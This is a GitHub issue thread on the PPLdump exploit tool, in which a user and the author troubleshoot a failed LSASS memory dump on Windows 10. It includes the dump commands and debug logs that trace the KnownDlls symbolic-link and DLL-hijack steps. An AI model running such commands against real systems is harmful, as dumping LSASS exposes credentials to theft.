search

itm4n / PPLdump

Dump the memory of a PPL with a userland exploit
MIT License
845 stars 137 forks source link

No Extract produced #3

Closed ontinternet closed 3 years ago

ontinternet commented 3 years ago

Tested on Windows 10 2004 (OS Build 19041.264).

Hi, when I try to run the code first time, there are no errors but it only runs as far as:

"The Symbolic link was successfully created:: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' and no output is produced, but no further error?

If I try to re-run I get: DefineDosDevice failed with error code 183 - Cannot create a file when that file already exists.

This clears after a reboot, but is there a way to clear this error without rebooting?

Can you advise on this?

Thanks.

pplDump_1 pplDump_2

itm4n commented 3 years ago

On your first screenshot, the most probable cause is that the payload DLL isn't loaded by the child process (possibly because of a function export mismatch), but I can't say for sure.

On your second screenshot, the error message is completely normal. The first time you executed the tool, the exploit worked and the symbolic link was created in \KnownDlls. Since the payload DLL wasn't loaded, this link wasn't removed by the tool (and only a TCB PPL running as SYSTEM can remove it). Therefore, the second time you run the tool, the system tells you that the link already exists. This particular error can be bypassed using the -f option. Please have a look at the usage.

On some occasions, I found that the DLL was loaded only the second time (for a reason I ignore). So, please try and run the tool with the -f option first.

Then, if it still doesn't work, please provide me with the output of the tool in debug mode, using -d instead of -v.

ontinternet commented 3 years ago

Thanks for the really quick reply,I did previously attempt the -f option (but forgot to mention it) - I have included debug outputs from a first run after a reboot and a second run. Do you think I have messed something up when compiled?

C:\pentest\PPLDump\PPLdump-master\x64\Debug>PPLdump.exe -d lsass test.dmp [user] [] Found a process with name 'lsass' and PID 1652 [DEBUG][user] Check requirements [DEBUG][user] Target process protection level: -2 - None [-] Process with ID 1652 is not a PPL [user] [] Requirements OK [DEBUG][user] Get the name of the DLL to hijack [user] [] DLL to hijack: EventAggregation.dll [user] [] Current user is SYSTEM? -> FALSE [DEBUG][user] Found a potential Process candidate: PID=1652 - Image='lsass.exe' - User='NT AUTHORITY\SYSTEM' [DEBUG][user] This token is not restricted. [DEBUG][user] Found 2/2 required privileges in token. [DEBUG][user] Found a valid Token candidate. [SYSTEM] [] Impersonating SYSTEM... [DEBUG][SYSTEM] Create object directory '\GLOBAL??\KnownDlls'... [SYSTEM] [] Created Object Directory: '\GLOBAL??\KnownDlls' [DEBUG][SYSTEM] Create symbolic link '\GLOBAL??\KnownDlls\EventAggregation.dll'... [SYSTEM] [] Created Symbolic link: '\GLOBAL??\KnownDlls\EventAggregation.dll' [DEBUG][user] Create symbolic link '\??\GLOBALROOT -> \GLOBAL??'... [user] [] Created symbolic link: '\??\GLOBALROOT -> \GLOBAL??' [DEBUG][user] Call DefineDosDevice to create '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' [user] [] DefineDosDevice OK [DEBUG][user] Impersonate SYSTEM again [SYSTEM] [] Impersonating SYSTEM... [DEBUG][SYSTEM] Check whether the symbolic link was really created in '\KnownDlls\' [SYSTEM] [+] The symbolic link was successfully created: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' [DEBUG][SYSTEM] Map our DLL to section '\KernelObjects\EventAggregation.dll'

C:\pentest\PPLDump\PPLdump-master\x64\Debug>PPLdump.exe -f -d lsass test.dmp [user] [] Found a process with name 'lsass' and PID 1652 [DEBUG][user] Check requirements [DEBUG][user] Target process protection level: -2 - None [-] Process with ID 1652 is not a PPL [user] [] Requirements OK [DEBUG][user] Get the name of the DLL to hijack [user] [] DLL to hijack: EventAggregation.dll [user] [] Current user is SYSTEM? -> FALSE [DEBUG][user] Found a potential Process candidate: PID=1652 - Image='lsass.exe' - User='NT AUTHORITY\SYSTEM' [DEBUG][user] This token is not restricted. [DEBUG][user] Found 2/2 required privileges in token. [DEBUG][user] Found a valid Token candidate. [SYSTEM] [] Impersonating SYSTEM... [DEBUG][SYSTEM] Create object directory '\GLOBAL??\KnownDlls'... [SYSTEM] [] Created Object Directory: '\GLOBAL??\KnownDlls' [DEBUG][SYSTEM] Create symbolic link '\GLOBAL??\KnownDlls\EventAggregation.dll'... [SYSTEM] [] Created Symbolic link: '\GLOBAL??\KnownDlls\EventAggregation.dll' [DEBUG][user] Create symbolic link '\??\GLOBALROOT -> \GLOBAL??'... [user] [] Created symbolic link: '\??\GLOBALROOT -> \GLOBAL??' [DEBUG][user] Call DefineDosDevice to create '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' [-] DefineDosDevice failed with error code 183 - Cannot create a file when that file already exists. [user] [] DefineDosDevice OK [DEBUG][user] Impersonate SYSTEM again [SYSTEM] [] Impersonating SYSTEM... [DEBUG][SYSTEM] Check whether the symbolic link was really created in '\KnownDlls\' [SYSTEM] [+] The symbolic link was successfully created: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' [DEBUG][SYSTEM] Map our DLL to section '\KernelObjects\EventAggregation.dll'

itm4n commented 3 years ago

Please compile in Release mode and try again.
The Debug mode isn't configured. I should have removed it from the solution.

https://github.com/itm4n/PPLdump#build-instructions image

ontinternet commented 3 years ago

Hi, I removed all the files and extracted from master again. Recompiling as release worked then. Extract has completed successfully. Thanks for your help with this. Amazing work !!.